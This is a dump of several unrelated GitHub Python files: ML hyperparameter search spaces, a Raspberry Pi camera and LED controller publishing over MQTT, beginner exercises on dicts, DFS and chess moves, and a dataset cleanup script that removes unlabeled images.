elastic_params_reg_optuna_search),\n    (XGBRegressor, xgb_params_reg_optuna_search),\n    (LGBMRegressor, lgbm_params_reg_optuna_search),\n    (CatBoostRegressor, cb_params_reg_optuna_search),\n    # TODO underfit\n    # (SVR, svr_params_reg_optuna_search),\n    # (LinearSVR, lsvr_params_reg_optuna_search),\n    # TODO overfit\n    # (KNeighborsRegressor, knr_params_reg_optuna_search),\n    # TODO underfit\n    # (DecisionTreeRegressor, dtr_params_reg_optuna_search),\n    (RandomForestRegressor, rfr_params_reg_optuna_search),\n    # (GradientBoostingRegressor, gbr_params_reg_optuna_search),\n    # (ExtraTreesRegressor, etr_params_reg_optuna_search),\n    (AdaBoostRegressor, abr_params_reg_optuna_search),\n    # (SGDRegressor, sgr_params_reg_optuna_search)\n]\n\n\n# Define hyperparameters for each model for optunasearchcv clfs\nlr_params_optunasearchcv_clf = {\n    \"C\": optuna.distributions.FloatDistribution(0.001, 10.0)\n}\nrf_params_optunasearchcv_clf = {\n    \"n_estimators\": optuna.distributions.IntDistribution(100, 200),\n    \"max_depth\": optuna.distributions.IntDistribution(3, 20),\n}\nxgb_params_optunasearchcv_clf = {\n    \"n_estimators\": optuna.distributions.IntDistribution(50, 200),\n    \"max_depth\": optuna.distributions.IntDistribution(3, 15),\n    \"learning_rate\": optuna.distributions.FloatDistribution(0.01, 0.1),\n}\ncb_params_optunasearchcv_clf = {\n    \"iterations\": optuna.distributions.IntDistribution(50, 200),\n    \"depth\": optuna.distributions.IntDistribution(4, 8),\n    \"learning_rate\": optuna.distributions.FloatDistribution(0.01, 0.1),\n}\nlgbm_params_optunasearchcv_clf = {\n    \"n_estimators\": optuna.distributions.IntDistribution(50, 200),\n    \"max_depth\": optuna.distributions.IntDistribution(10, 20),\n    \"learning_rate\": optuna.distributions.FloatDistribution(0.01, 0.1),\n}\nbrf_params_optunasearchcv_clf = {\n    \"n_estimators\": optuna.distributions.IntDistribution(50, 200),\n    \"max_depth\": optuna.distributions.IntDistribution(10, 20),\n}\ngbc_params_optunasearchcv_clf = {\n    \"n_estimators\": optuna.distributions.IntDistribution(50, 200),\n    \"learning_rate\": optuna.distributions.FloatDistribution(0.001, 0.1),\n    \"max_depth\": optuna.distributions.IntDistribution(3, 10),\n}\nabc_params_optunasearchcv_clf = {\n    \"n_estimators\": optuna.distributions.IntDistribution(50, 200),\n    \"learning_rate\": optuna.distributions.FloatDistribution(0.001, 0.1),\n}\nsvc_params_optunasearchcv_clf = {\n    \"C\": optuna.distributions.FloatDistribution(0.1, 10),\n    \"gamma\": optuna.distributions.FloatDistribution(0.001, 0.1),\n}\nknn_params_optunasearchcv_clf = {\n    \"n_neighbors\": optuna.distributions.IntDistribution(3, 7),\n    \"weights\": optuna.distributions.CategoricalDistribution(\n        choices=(\"uniform\", \"distance\")\n    ),\n}\ndtc_params_optunasearchcv_clf = {\n    \"criterion\": optuna.distributions.CategoricalDistribution(\n        choices=(\"gini\", \"entropy\")\n    ),\n    \"max_depth\": optuna.distributions.IntDistribution(5, 10),\n}\netc_params_optunasearchcv_clf = {\n    \"n_estimators\": optuna.distributions.IntDistribution(50, 200),\n    \"max_depth\": optuna.distributions.IntDistribution(5, 10),\n}\ngnb_params_optunasearchcv_clf = {}\n\n# Put models and hyperparameters into a list of tuples\nestimators_params_optunasearchcv_clfs = [\n    (LogisticRegression, lr_params_optunasearchcv_clf),\n    (RandomForestClassifier, rf_params_optunasearchcv_clf),\n    (XGBClassifier, xgb_params_optunasearchcv_clf),\n    (CatBoostClassifier, cb_params_optunasearchcv_clf),\n    (LGBMClassifier, lgbm_params_optunasearchcv_clf),\n    (BalancedRandomForestClassifier, brf_params_optunasearchcv_clf),\n    # (GradientBoostingClassifier, gbc_params_optunasearchcv_clf),\n    (AdaBoostClassifier, abc_params_optunasearchcv_clf),\n    # (SVC, svc_params_optunasearchcv_clf),\n    # (KNeighborsClassifier, knn_params_optunasearchcv_clf),\n    # (DecisionTreeClassifier, dtc_params_optunasearchcv_clf),\n    # (ExtraTreesClassifier, etc_params_optunasearchcv_clf),\n    # (GaussianNB, gnb_params_optunasearchcv_clf)\n]\n\n\n# Define hyperparameters for each model for optunasearchcv regs\nlr_params_optunasearchcv_reg = {\n    \"fit_intercept\": optuna.distributions.CategoricalDistribution(choices=(True, False))\n}\nridge_params_optunasearchcv_reg = {\n    \"alpha\": optuna.distributions.FloatDistribution(0.5, 1.0)\n}\nlasso_params_optunasearchcv_reg = {\n    \"alpha\": optuna.distributions.FloatDistribution(0.5, 1.0)\n}\nelastic_params_optunasearchcv_reg = {\n    \"alpha\": optuna.distributions.FloatDistribution(0.5, 1.0),\n    \"l1_ratio\": optuna.distributions.FloatDistribution(0.5, 0.7),\n}\nxgb_params_optunasearchcv_reg = {\n    \"max_depth\": optuna.distributions.IntDistribution(3, 5),\n    \"learning_rate\": optuna.distributions.FloatDistribution(0.01, 0.1),\n}\nlgbm_params_optunasearchcv_reg = {\n    \"max_depth\": optuna.distributions.IntDistribution(3, 5),\n    \"learning_rate\": optuna.distributions.FloatDistribution(0.01, 0.1),\n}\ncb_params_optunasearchcv_reg = {\n    \"depth\": optuna.distributions.IntDistribution(3, 5),\n    \"learning_rate\": optuna.distributions.FloatDistribution(0.01, 0.10),\n}\nsvr_params_optunasearchcv_reg = {\n    \"kernel\": optuna.distributions.CategoricalDistribution(\n        choices=(\"linear\", \"poly\", \"rbf\", \"sigmoid\")\n    ),\n    \"C\": optuna.distributions.FloatDistribution(0.1, 1.0),\n}\nlsvr_params_optunasearchcv_reg = {\"C\": optuna.distributions.FloatDistribution(0.5, 1.0)}\nknr_params_optunasearchcv_reg = {\n    \"n_neighbors\": optuna.distributions.IntDistribution(\n        30, 50\n    ),  # Increasing the number of neighbors can help in making the model more generalized.\n    \"weights\": optuna.distributions.CategoricalDistribution(\n        choices=(\"uniform\", \"distance\")\n    ),  # The 'distance' option can give more importance to closer instances, which may help reduce overfitting.\n    \"algorithm\": optuna.distributions.CategoricalDistribution(\n        choices=(\"auto\", \"ball_tree\", \"kd_tree\", \"brute\")\n    ),  # The algorithm used to compute the nearest neighbors can sometimes have an effect on overfitting, but it generally depends more on the dataset.\n    \"p\": optuna.distributions.IntDistribution(\n        1, 2\n    ),  # This corresponds to the power parameter for the Minkowski metric. 1 is for manhattan_distance and 2 for euclidean_distance.\n}\ndtr_params_optunasearchcv_reg = {\n    \"max_depth\": optuna.distributions.IntDistribution(3, 5),\n    \"min_samples_split\": optuna.distributions.IntDistribution(2, 5),\n    \"min_samples_leaf\": optuna.distributions.IntDistribution(2, 5),\n    \"max_features\": optuna.distributions.CategoricalDistribution(\n        choices=(\"auto\", \"sqrt\", \"log2\")\n    ),\n    \"max_leaf_nodes\": optuna.distributions.IntDistribution(5, 10),\n}\nrfr_params_optunasearchcv_reg = {\n    \"n_estimators\": optuna.distributions.IntDistribution(50, 200),\n    \"max_depth\": optuna.distributions.IntDistribution(10, 20),\n}\ngbr_params_optunasearchcv_reg = {\n    \"n_estimators\": optuna.distributions.IntDistribution(50, 200),\n    \"max_depth\": optuna.distributions.IntDistribution(3, 10),\n    \"learning_rate\": optuna.distributions.FloatDistribution(0.001, 0.1),\n}\netr_params_optunasearchcv_reg = {\n    \"n_estimators\": optuna.distributions.IntDistribution(50, 200),\n    \"max_depth\": optuna.distributions.IntDistribution(10, 20),\n}\nabr_params_optunasearchcv_reg = {\n    \"n_estimators\": optuna.distributions.IntDistribution(50, 200),\n    \"learning_rate\": optuna.distributions.FloatDistribution(0.001, 0.1),\n}\nsgr_params_optunasearchcv_reg = {\n    \"loss\": optuna.distributions.CategoricalDistribution(\n        choices=(\"squared_loss\", \"huber\", \"epsilon_insensitive\")\n    ),\n    \"penalty\": optuna.distributions.CategoricalDistribution(\n        choices=(\"l2\", \"l1\", \"elasticnet\")\n    ),\n    \"alpha\": optuna.distributions.FloatDistribution(0.0001, 0.01),\n}\n\n# Put models and hyperparameters into a list of tuples\nestimators_params_optunasearchcv_regs = [\n    (LinearRegression, lr_params_optunasearchcv_reg),\n    (Ridge, ridge_params_optunasearchcv_reg),\n    (Lasso, lasso_params_optunasearchcv_reg),\n    (ElasticNet, elastic_params_optunasearchcv_reg),\n    (XGBRegressor, xgb_params_optunasearchcv_reg),\n    (LGBMRegressor, lgbm_params_optunasearchcv_reg),\n    (CatBoostRegressor, cb_params_optunasearchcv_reg),\n    # TODO underfit\n    # (SVR, svr_params_optunasearchcv_reg),\n    # (LinearSVR, lsvr_params_optunasearchcv_reg),\n    # TODO overfit\n    # (KNeighborsRegressor, knr_params_optunasearchcv_reg),\n    # TODO underfit\n    # (DecisionTreeRegressor, dtr_params_optunasearchcv_reg),\n    (RandomForestRegressor, rfr_params_optunasearchcv_reg),\n    # (GradientBoostingRegressor, gbr_params_optunasearchcv_reg),\n    # (ExtraTreesRegressor, etr_params_optunasearchcv_reg),\n    (AdaBoostRegressor, abr_params_optunasearchcv_reg),\n    # (SGDRegressor, sgr_params_optunasearchcv_reg)\n]\n\n# Define hyperparameters for tunesearch classification\nlr_params_tunesearch_clfs = {\"C\": tune.uniform(0.001, 10.0)}\nrf_params_tunesearch_clfs = {\n    \"n_estimators\": tune.randint(100, 200),\n    \"max_depth\": tune.randint(3, 20),\n}\nxgb_params_tunesearch_clfs = {\n    \"n_estimators\": tune.randint(50, 200),\n    \"max_depth\": tune.randint(3, 15),\n    \"learning_rate\": tune.uniform(0.01, 0.1),\n}\ncb_params_tunesearch_clfs = {\n    \"iterations\": tune.randint(50, 200),\n    \"depth\": tune.randint(4, 8),\n    \"learning_rate\": tune.uniform(0.01, 0.1),\n}\nlgbm_params_tunesearch_clfs = {\n    \"n_estimators\": tune.randint(50, 200),\n    \"max_depth\": tune.randint(10, 20),\n    \"learning_rate\": tune.uniform(0.01, 0.1),\n}\nbrf_params_tunesearch_clfs = {\n    \"n_estimators\": tune.randint(50, 200),\n    \"max_depth\": tune.randint(10, 20),\n}\ngbc_params_tunesearch_clfs = {\n    \"n_estimators\": tune.randint(50, 200),\n    \"learning_rate\": tune.uniform(0.001, 0.1),\n    \"max_depth\": tune.randint(3, 10),\n}\nabc_params_tunesearch_clfs = {\n    \"n_estimators\": tune.randint(50, 200),\n    \"learning_rate\": tune.uniform(0.001, 0.1),\n}\nsvc_params_tunesearch_clfs = {\n    \"C\": tune.uniform(0.1, 10),\n    \"gamma\": tune.uniform(0.001, 0.1),\n}\nknn_params_tunesearch_clfs = {\n    \"n_neighbors\": tune.randint(3, 7),\n    \"weights\": tune.choice([\"uniform\", \"distance\"]),\n}\ndtc_params_tunesearch_clfs = {\n    \"criterion\": tune.choice([\"gini\", \"entropy\"]),\n    \"max_depth\": tune.randint(5, 10),\n}\netc_params_tunesearch_clfs = {\n    \"n_estimators\": tune.randint(50, 200),\n    \"max_depth\": tune.randint(5, 10),\n}\n# gnb_params_tunesearch_clfs = {}\n\n# Put models and hyperparameters into a list of tuples\nestimators_params_tunesearch_clfs = [\n    (LogisticRegression, lr_params_tunesearch_clfs),\n    (RandomForestClassifier, rf_params_tunesearch_clfs),\n    (XGBClassifier, xgb_params_tunesearch_clfs),\n    (CatBoostClassifier, cb_params_tunesearch_clfs),\n    (LGBMClassifier, lgbm_params_tunesearch_clfs),\n    (BalancedRandomForestClassifier, brf_params_tunesearch_clfs),\n    (GradientBoostingClassifier, gbc_params_tunesearch_clfs),\n    (AdaBoostClassifier, abc_params_tunesearch_clfs),\n    (SVC, svc_params_tunesearch_clfs),\n    # (KNeighborsClassifier, knn_params_tunesearch_clfs),\n    (DecisionTreeClassifier, dtc_params_tunesearch_clfs),\n    (ExtraTreesClassifier, etc_params_tunesearch_clfs),\n    # (GaussianNB, gnb_params_tunesearch_clfs),\n]\n\n# Define hyperparameters for tune regression\nlr_params_tunesearch_regs = {\"fit_intercept\": tune.choice([True, False])}\nridge_params_tunesearch_regs = {\"alpha\": tune.uniform(0.5, 1.0)}\nlasso_params_tunesearch_regs = {\"alpha\": tune.uniform(0.5, 1.0)}\nelastic_params_tunesearch_regs = {\n    \"alpha\": tune.uniform(0.5, 1.0),\n    \"l1_ratio\": tune.uniform(0.5, 0.7),\n}\nxgb_params_tunesearch_regs = {\n    \"max_depth\": tune.randint(3, 5),\n    \"learning_rate\": tune.uniform(0.01, 0.1),\n}\nlgbm_params_tunesearch_regs = {\n    \"max_depth\": tune.randint(3, 5),\n    \"learning_rate\": tune.uniform(0.01, 0.1),\n}\ncb_params_tunesearch_regs = {\n    \"depth\": tune.randint(3, 5),\n    \"learning_rate\": tune.uniform(0.01, 0.10),\n}\nsvr_params_tunesearch_regs = {\n    \"kernel\": tune.choice([\"linear\", \"poly\", \"rbf\", \"sigmoid\"]),\n    \"C\": tune.uniform(0.1, 1.0),\n}\nlsvr_params_tunesearch_regs = {\"C\": tune.uniform(0.5, 1.0)}\nknr_params_tunesearch_regs = {\n    \"n_neighbors\": tune.randint(\n        30, 50\n    ),  # Increasing the number of neighbors can help in making the model more generalized.\n    \"weights\": tune.choice(\n        [\"uniform\", \"distance\"]\n    ),  # The 'distance' option can give more importance to closer instances, which may help reduce overfitting.\n    \"algorithm\": tune.choice(\n        [\"auto\", \"ball_tree\", \"kd_tree\", \"brute\"]\n    ),  # The algorithm used to compute the nearest neighbors can sometimes have an effect on overfitting, but it generally depends more on the dataset.\n    \"p\": tune.randint(\n        1, 2\n    ),  # This corresponds to the power parameter for the Minkowski metric. 1 is for manhattan_distance and 2 for euclidean_distance.\n}\ndtr_params_tunesearch_regs = {\n    \"max_depth\": tune.randint(3, 5),\n    \"min_samples_split\": tune.randint(2, 5),\n    \"min_samples_leaf\": tune.randint(2, 5),\n    \"max_features\": tune.choice([\"auto\", \"sqrt\", \"log2\"]),\n    \"max_leaf_nodes\": tune.randint(5, 10),\n}\nrfr_params_tunesearch_regs = {\n    \"n_estimators\": tune.randint(50, 200),\n    \"max_depth\": tune.randint(10, 20),\n}\ngbr_params_tunesearch_regs = {\n    \"n_estimators\": tune.randint(50, 200),\n    \"max_depth\": tune.randint(3, 10),\n    \"learning_rate\": tune.uniform(0.001, 0.1),\n}\netr_params_tunesearch_regs = {\n    \"n_estimators\": tune.randint(50, 200),\n    \"max_depth\": tune.randint(10, 20),\n}\nabr_params_tunesearch_regs = {\n    \"n_estimators\": tune.randint(50, 200),\n    \"learning_rate\": tune.uniform(0.001, 0.1),\n}\nsgr_params_tunesearch_regs = {\n    \"loss\": tune.choice([\"squared_loss\", \"huber\", \"epsilon_insensitive\"]),\n    \"penalty\": tune.choice({\"l2\", \"l1\", \"elasticnet\"}),\n    \"alpha\": tune.uniform(0.0001, 0.01),\n}\n\n# Put models and hyperparameters into a list of tuples\nestimators_params_tunesearch_regs = [\n    (LinearRegression, lr_params_tunesearch_regs),\n    (Ridge, ridge_params_tunesearch_regs),\n    (Lasso, lasso_params_tunesearch_regs),\n    (ElasticNet, elastic_params_tunesearch_regs),\n    (XGBRegressor, xgb_params_tunesearch_regs),\n    (LGBMRegressor, lgbm_params_tunesearch_regs),\n    (CatBoostRegressor, cb_params_tunesearch_regs),\n    # TODO underfit\n    # (SVR, svr_params_tunesearch_regs),\n    # (LinearSVR, lsvr_params_tunesearch_regs),\n    # TODO overfit\n    # (KNeighborsRegressor, knr_params_tunesearch_regs),\n    # TODO underfit\n    # (DecisionTreeRegressor, dtr_params_tunesearch_regs),\n    (RandomForestRegressor, rfr_params_tunesearch_regs),\n    # (GradientBoostingRegressor, gbr_params_tunesearch_regs),\n    (ExtraTreesRegressor, etr_params_tunesearch_regs),\n    (AdaBoostRegressor, abr_params_tunesearch_regs),\n    # (SGDRegressor, sgr_params_tunesearch_regs),\n]\n","repo_name":"TorkamaniLab/lohrasb","sub_path":"lohrasb/tests_conf.py","file_name":"tests_conf.py","file_ext":"py","file_size_in_byte":25512,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"79"}
+{"seq_id":"71952002176","text":"icecream = {\n    '탱크보이': 1200, \n    '폴라포': 1200, \n    '빵빠레': 1800, \n    '월드콘': 1500, \n    '메로나': 1000\n}\n\n# 방법1\nkeys = []\nfor key in icecream.keys():\n    keys.append(key)\n\nprint(keys)\n\n# 방법2\nice = list(icecream.keys())\n# list()함수를 안써주게 되면, \n# dict_keys(['탱크보이', '폴라포', '빵빠레', '월드콘', '메로나']) 로 출력됨.\nprint(ice)","repo_name":"EunByu1/Python_Study","sub_path":"초보자를 위한 파이썬 300제/dict12.py","file_name":"dict12.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"14080890554","text":"#10.009 The Digital World 1D Project\n#17F04 Group 2\n\n''' MAIN SCRIPT '''\n'''\nThis script takes in the adj_list from the \nsubscriber script and the camera data, and \nactivates the LEDs according to the various \nparameters. The usage is then published to \nbe displayed on the Kivy app.\n'''\n#==============================================================================\n\n'''============================================================================\n                         Part I: Initialise program\n============================================================================'''\nimport paho.mqtt.client as mqttClient #import the client1 for Google cloud\nfrom collections import deque\nimport numpy as np\nimport argparse\nimport imutils\nfrom tlkh_camera import PiVideoStream\nimport cv2\nfrom time import sleep\n#import RPi.GPIO as GPIO\n\n'''=================================================== Setting up the camera'''\ncv2.setUseOptimized(True) #OpenCV\n\n#construct the argument parse and parse the arguments\nap = argparse.ArgumentParser()\nap.add_argument(\"-v\", \"--video\",\n    help=\"path to the (optional) video file\")\nap.add_argument(\"-b\", \"--buffer\", type=int, default=64,\n    help=\"max buffer size\")\nargs = vars(ap.parse_args())\n\n#define the lower and upper boundaries of the \"green\"\n#ball in the HSV color space, then initialize the\n#list of tracked points\ngreenLower = (29, 86, 6)\ngreenUpper = (64, 255, 255)\npts = deque(maxlen=args[\"buffer\"])\n\ncamera = PiVideoStream().start()\nsleep(1.0)\n\ndef get_obj_position_and_brightness():\n    # grab the current frame\n    frame = camera.read()\n\n    # resize the frame, blur it, and convert it to the HSV\n    # color space\n    frame = imutils.resize(frame, width=600)\n    # blurred = cv2.GaussianBlur(frame, (11, 11), 0)\n    hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n    #print(np.shape(hsv))\n    #print(np.sum(np.sum(hsv[:,:,2])))\n    # construct a mask for the color \"green\", then perform\n    # a series of dilations and erosions to remove any small\n    # blobs left in the mask\n    mask = cv2.inRange(hsv, greenLower, greenUpper)\n    mask = cv2.erode(mask, None, iterations=2)\n    mask = cv2.dilate(mask, None, iterations=2)\n\n    # find contours in the mask and initialize the current\n    # (x, y) center of the ball\n    cnts = cv2.findContours(mask.copy(), cv2.RETR_EXTERNAL,\n        cv2.CHAIN_APPROX_SIMPLE)[-2]\n    center = None\n    \n    x,y = 0,0\n\n    # only proceed if at least one contour was found\n    if len(cnts) > 0:\n        # find the largest contour in the mask, then use\n        # it to compute the minimum enclosing circle and\n        # centroid\n        c = max(cnts, key=cv2.contourArea)\n        ((x, y), radius) = cv2.minEnclosingCircle(c)\n        M = cv2.moments(c)\n        center = (int(M[\"m10\"] / M[\"m00\"]), int(M[\"m01\"] / M[\"m00\"]))\n\n        # only proceed if the radius meets a minimum size\n        if radius > 10:\n            # draw the circle and centroid on the frame,\n            # then update the list of tracked points\n            cv2.circle(frame, (int(x), int(y)), int(radius),\n                (0, 255, 255), 2)\n            cv2.circle(frame, center, 5, (0, 0, 255), -1)\n            \n            general_brightness = np.sum(np.sum(hsv[:,:,2]))/345600.\n            sleep(0.1)\n        \n        # update the points queue\n        pts.appendleft(center)\n        # loop over the set of tracked points\n        for i in xrange(1, len(pts)):\n            # if either of the tracked points are None, ignore\n            # them\n            if pts[i - 1] is None or pts[i] is None:\n                continue\n\n            # otherwise, compute the thickness of the line and\n            # draw the connecting lines\n            thickness = int(np.sqrt(args[\"buffer\"] / float(i + 1)) * 2.5)\n            cv2.line(frame, pts[i - 1], pts[i], (0, 0, 255), thickness)\n\n        # show the frame to our screen\n        cv2.imshow(\"Frame\", frame)\n    \n    person = Target(int(x), int(y))\n    print('Person is at {}; brightness is {}'.format(person, general_brightness))\n    return person, general_brightness\n\n'''============================================== Setting up the LED control'''\n#set up coordinate system\nclass Target: #for person\n    def __init__(self, x=0, y=0):\n        self.x = x\n        self.y = y\n    def __str__(self):\n        return '({},{})'.format(self.x, self.y)\n\nclass LED_coord: #for LEDs\n    def __init__(self, x, y, pin, userpref = 0.8):\n        self.x = x\n        self.y = y\n        self.pin = pin           #GPIO pin number\n        self.userpref = userpref #user preference of LED's brightness (0-1)\n        self.dist = 0.           #distance from person\n        self.duty = 100          #duty cycle varying with brightness\n    def __str__(self):\n        return 'LED ({},{}), GPIO pin {}'.format(self.x, self.y, self.pin)\n\n#set LED coordinates\np1 = LED_coord(120,112,19)         #   legend  # - LED\np2 = LED_coord(240,112,5)          #           x - camera (600 x 450 px)\np3 = LED_coord(360,112,13)         #   origin O-------------------+ 0\np4 = LED_coord(480,112,26)         #          |   |   |   |   |   |\np5 = LED_coord(120,225,12)         #          |--1#--2#--3#--4#---| 112\np6 = LED_coord(240,225,21)         #          |   |   |   |   |   |\np7 = LED_coord(360,225,20)         #          |--5#--6#-x7#--8#---| 225\np8 = LED_coord(480,225,16)         #          |   |   |   |   |   |\np9 = LED_coord(120,338,6)          #          |--9#-10#-11#-12#---| 338\np10 = LED_coord(240,338,7)         #          |   |   |   |   |   |\np11 = LED_coord(360,338,8)         #          +-------------------+ 450\np12 = LED_coord(480,338,9)         #          0  120 240 360 480 600\nled_list = [p1,p2,p3,p4,p5,p6,p7,p8,p9,p10,p11,p12]\n\n'''======================================================= Reading text file'''\n#directory of text file receiving adj_list data\ntxt = 'txt'\n\ndef get_adj_list():\n    f = open(txt, 'r')\n    reading = f.readline()\n    print('Received adj_list: {}'.format(reading))\n    adj_list = reading.split(',')\n    f.close()\n    return adj_list\n\n'''============================================================================\n                           Part II: LED Operation\n============================================================================'''\n\n#decide brightness of each LED\ndef decide_brightness():\n    #obtain person's position, brightness, adj_list\n    person, brightness = get_obj_position_and_brightness()\n    adj_list = get_adj_list()\n    \n    #alter base attribute of LEDs\n    for i in range(len(led_list)):\n        led_list[i].userpref = adj_list[i]\n    #for debugging=============================================================\n    check_userpref = [led.userpref for led in led_list]\n    print('LED adjustments: {}'.format(check_userpref))\n    #==========================================================================\n    \n    #determine duty cycle of LEDs\n    check_usage = ''\n    for led in led_list:\n        #alter dist attribute\n        led.dist = ( (person.x - led.x)**2 + (person.y - led.y)**2 )**0.5\n        #alter duty attribute\n        power1 = (100 - brightness) * led.userpref  #factoring user pref\n        if led.dist < 165:    #--------------LED is at most diagonally adjacent\n            mult = ( (165 - led.dist) / 165 )**0.25\n            led.duty = power1 * mult\n            check_usage += '{},'.format(led.duty / 100)\n        else:    #---------------------------LED is too far away, do not use\n            led.duty = 0\n            check_usage += '0,'\n        check_usage.rstrip(',')\n    \n    #for publishing and debugging==============================================\n    print('LED usage: {}'.format(check_usage))\n    dw1d.publish(\"duty_list\", str(check_usage))\n    #==========================================================================\n\n#activate LEDs according to duty cycle assigned\ndef activate_led():\n    GPIO.setmode(GPIO.BCM)\n    print('Activating LEDs')\n    for led in led_list:\n        GPIO.setup(led.pin, GPIO.OUT)\n        pwm_led = GPIO.PWM(led.pin, 50)\n        pwm_led.start(100)\n        pwm_led.ChangeDutyCycle(led.duty)\n    GPIO.cleanup()\n\n'''============================================================================\n           Part III: Actual Operation & Publishing to Google Cloud\n============================================================================'''\ndef on_connect(client, userdata, flags, rc):\n    if rc == 0:\n         print(\"Connected to broker\")\n         global Connected\n         Connected = True\n    else:\n         print(\"Connection failed\")\n\n#setting up connection to Google Cloud\nConnected = False\nbroker_address=\"35.197.131.13\"\nport = 8883\nprint(\"Creating new instance\")\ndw1d = mqttClient.Client(\"DW1D\")\ndw1d.username_pw_set(\"sammy\",\"password\")  #set usernames and passwords\ndw1d.on_connect = on_connect\nprint(\"Connecting to broker\")\ndw1d.connect(broker_address, port=port)   #connect to broker\n\nwhile True:\n    decide_brightness()\n    activate_led()\n\n#cleanup\nprint(\"Stopping camera\")\ncv2.destroyAllWindows()\ncamera.stop()\nprint(\"Cleaning GPIO\")\nGPIO.cleanup()\nprint(\"=== END ===\")","repo_name":"sohdesune/SUTD-projects","sub_path":"T3 DW 1D - Camera+LED Main CAA 20180415 1702HRS.py","file_name":"T3 DW 1D - Camera+LED Main CAA 20180415 1702HRS.py","file_ext":"py","file_size_in_byte":9049,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"19965036811","text":"import sys\n'''\n7 8 \n1 2\n1 3\n2 4\n2 5\n4 6\n5 6\n6 7\n3 7\n'''\nsys.stdin = open('input.txt')\nN, M = map(int, input().split())\nM = [[0 for _ in range(N)] for _ in range(N)] # 인접 행렬 초기화\nG = [[] for _ in range(N)] # 인접 리스트 초기화\n\nfor _ in range(E):\n    f, t = map(int, input().split())\n    \n    # 양방향 인접 행렬 만들기\n    M[f][t] = M[t][f] = 1\n\n    # 인접 리스트 만들기.\n    G[f].append(t)\n    G[t].append(f)\n\ndef DFS(v, G):\n    stack = [v]\n    visited = [False for _ in range(len(graph))]\n\n    while stack:\n        start = stack.pop()\n\n        for i in graph(start):\n            if visited(i) == False:\n                stack.append(i)\n                visited[i] = True\n                break\n        else:\n            stack.pop()\n\n\n\nprint(M)\nprint(G)","repo_name":"JHyuk2/Hyuk2Coding","sub_path":"Baekjoon/DFS/DFS.py","file_name":"DFS.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"50821378513","text":"def get_pos(chess_pos):\n    x = ord(chess_pos[0]) - ord('A')\n    y = 8 - int(chess_pos[1])\n    return x, y\n\ndef get_chess_pos(x_pos, y_pos):\n    x = chr(x_pos + ord('A'))\n    y = str(8 - y_pos)\n    return x+y\n\nking_pos, stone_pos, N = input().split()\nkingx, kingy = get_pos(king_pos)\nstonex, stoney = get_pos(stone_pos)\n\nmove_dir = {'R': (1, 0), 'L': (-1, 0), 'B': (0, 1), 'T': (0, -1), 'RT': (1, -1),\n            'LT': (-1, -1), 'RB': (1, 1), 'LB': (-1, 1)}\nfor _ in range(int(N)):\n    cmd = input()\n    dx, dy = move_dir[cmd]\n    king_nx, king_ny = kingx + dx, kingy + dy\n    if 0 <= king_nx < 8 and 0 <= king_ny < 8:\n        if stonex == king_nx and stoney == king_ny:\n            stone_nx, stone_ny = stonex + dx, stoney + dy\n            if 0 <= stone_nx < 8 and 0 <= stone_ny < 8:\n                stonex, stoney = stone_nx, stone_ny\n                kingx, kingy = king_nx, king_ny\n        else:\n            kingx, kingy = king_nx, king_ny\nprint(get_chess_pos(kingx, kingy))\nprint(get_chess_pos(stonex, stoney))","repo_name":"rua0707/gentle_3s","sub_path":"baekjoon/baekjoon_1063/baekjoon_1063_sungwoo.py","file_name":"baekjoon_1063_sungwoo.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"79"}
+{"seq_id":"74602724096","text":"import os\n\n#get current work directory\ncurDir = os.getcwd()\nprint(curDir)\n\n#create empty variable to store the txt files in\ntxtFiles = []\n\n#find all text files, change the extension to .jpg and store them in the txtFiles list\nfor path in os.listdir(curDir):\n\tif path[-4:] == '.txt':\n\t\t#print(path)\n\t\tpath = path[:-4]+'.jpg'\n\t\t#print(path)\n\t\ttxtFiles.append(path)\n\n#create empty variable to store jpg files in\njpgFiles = []\n\n#find all jpg files in current directory and store them in the jpgFile list\nfor path in os.listdir(curDir):\n\tif path[-4:] == '.jpg':\n\t\tjpgFiles.append(path)\n\t\t#print(path)\n\n#create empty variable to store xml files in\nxmlFiles = []\n\n#find all xml files in current directory and store them in the xmlFile list\nfor path in os.listdir(curDir):\n\tif path[-4:] == '.xml':\n\t\txmlFiles.append(path)\n\t\t#print(path)\n\n#create list\ntobeRemoved = []\n\nfor jpg in jpgFiles:\n\tfound = 0\n\tfor txt in txtFiles:\n\t\tif txt[:-4]+'.jpg' == jpg:\n\t\t\tprint('found '+jpg)\n\t\t\tfound = 1\n\t\t\tbreak\n\tif found == 0:\n\t\ttobeRemoved.append(jpg)\n\ntobeRemovedxml = []\n\nfor xml in xmlFiles:\n\tfound = 0\n\tfor txt in txtFiles:\n\t\tif txt[:-4]+'.xml' == xml:\n\t\t\tprint('found '+xml)\n\t\t\tfound = 1\n\t\t\tbreak\n\tif found == 0:\n\t\ttobeRemoved.append(xml)\n\nprint('length jpgs = '+str(len(jpgFiles)))\nprint('length txts = '+str(len(txtFiles)))\nprint('length to be removed = '+str(len(tobeRemoved)))\n\nfor badjpg in tobeRemoved:\n\tprint('removing '+str(badjpg))\n\tos.remove(badjpg)\n\nfor badxml in tobeRemovedxml:\n\tprint('removing '+str(badxml))\n\tos.remove(badxml)\n","repo_name":"janbertoo/trainDeepSORTyoloV4_instreamWood","sub_path":"code/removeJpgsAnsXmlsWithoutTxts.py","file_name":"removeJpgsAnsXmlsWithoutTxts.py","file_ext":"py","file_size_in_byte":1526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
